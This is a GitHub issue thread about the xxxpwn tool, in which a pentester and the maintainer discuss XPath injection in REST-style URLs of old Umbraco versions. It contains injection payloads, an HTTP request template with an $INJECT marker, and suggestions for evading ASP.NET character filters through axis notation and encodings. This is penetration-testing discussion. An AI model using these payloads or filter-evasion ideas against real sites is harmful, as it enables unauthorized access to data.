Rest Style URLs about xxxpwn HOT 4 CLOSED

Please examine the attack directory for examples of the $INJECT marker and
tell me if this meets your requirement. Slash is a required character for
my way of doing xpath injection so you'll have to see if you can work
around the requirement via encoding/obfuscating/etc.

If it does work, you could make a sample attack and an automated script to
submit for Umbraco and push it upsteam to xxxpwn and I'll accept it.

On Tue, May 6, 2014 at 9:10 AM, henshin [email protected] wrote:

Hi,

I've been pentesting an old version of Umbraco (4.7.x). It contains XPath
injection vulnerabilities on all URLs of the type
http://website.com/base/[@alias]/[@method]
So if on our @alias https://github.com/alias is set to
something'%20and$20'a'='a it returns true.
I've been looking for a tool that is able to exploit XPath injection
vulnerabilities on REST style URLs but haven't find none.
It would be great to have something like the asterisk marker on Sqlmap
tool which indicates some kind of "inject here" instruction to the script.
Of course that this will raise the problem of not being able to use the
slash / on the payloads, so i'm not sure if it's feasable...
Let me know if this is possible to implement.
Thanks

—
Reply to this email directly or view it on GitHubhttps://github.com//issues/4
.

from xxxpwn.

Thanks for the feedback.
I tried using the script with a custom payload file using the $INJECT marker like the following:

GET /base/someAlias'and%20$INJECT%20and'a'='a/SomeMethod/ HTTP/1.1
Host: www.targetsite.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Cookie: ASP.NET_SessionId=1q1il5vejcplmo143zggl5nj; UMB_UCONTEXT=0

It works fine when I used the --example with '1=1' but it fails to do anything else because the first payload that the script tries is the following (unencoded):
GET /base/someAlias'and count(//*) and 2>1 and'a'='a/SomeMethod/
Umbraco will decode the URL and will count the // slashes as part of the query, breaking up the method part.
My experience in XPath injection is not very extensive, but if the slash character is not allowed then it greatly reduces the chances for injection, i suppose.
To make things worse, it seems that characters like * and : are processed normally in Umbraco but then the ASP.Net framework kicks in and returns an error saying that the user attempted to perform a potentially dangerous query.
So it seems that the odds are not good.
Do you see any possible exploitation path here?
Thanks

from xxxpwn.

Disallowing / and * for URL path notation will make injection very
difficult. You may want to look into AXIS notation which may get you around
use of those characters (http://www.w3schools.com/xpath/xpath_axes.asp
http://our.umbraco.org/wiki/reference/xslt/xpath-axes-and-their-shortcuts),
but that is something you are going to have to discover on your own. If
ASP.NET is blocking colon characters, that will break AXIS, but you may be
able to get around it using different encodings. It might make a good
research subject.

You might also want to look at the Umbraco payloads that are already in
xxxpwn, as I've dug into it previously and didn't find anything useful.

On Wed, May 7, 2014 at 5:00 AM, henshin [email protected] wrote:

Thanks for the feedback.
I tried using the script with a custom payload file using the $INJECT
marker like the following:

GET /base/someAlias'and%20$INJECT%20and'a'='a/SomeMethod/ HTTP/1.1
Host: www.targetsite.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Cookie: ASP.NET_SessionId=1q1il5vejcplmo143zggl5nj; UMB_UCONTEXT=0

It works fine when I used the --example with '1=1' but it fails to do
anything else because the first payload that the script tries is the
following (unencoded):
GET /base/someAlias'and count(//*) and 2>1 and'a'='a/SomeMethod/
Umbraco will decode the URL and will count the // slashes as part of the
query, breaking up the method part.
My experience in XPath injection is not very extensive, but if the slash
character is not allowed then it greatly reduces the chances for injection,
i suppose.
To make things worse, it seems that characters like * and : are processed
normally in Umbraco but then the ASP.Net framework kicks in and returns an
error saying that the user attempted to perform a potentially dangerous
query.
So it seems that the odds are not good.
Do you see any possible exploitation path here?
Thanks

—
Reply to this email directly or view it on GitHubhttps://github.com//issues/4#issuecomment-42418306
.

from xxxpwn.

Great. I really appreciate your feedback.
I'll dig into it a bit more but since you didn't found out anything useful on Umbraco, it might not worth much more effort.
I'll let you know if I find anything.
Thanks again

from xxxpwn.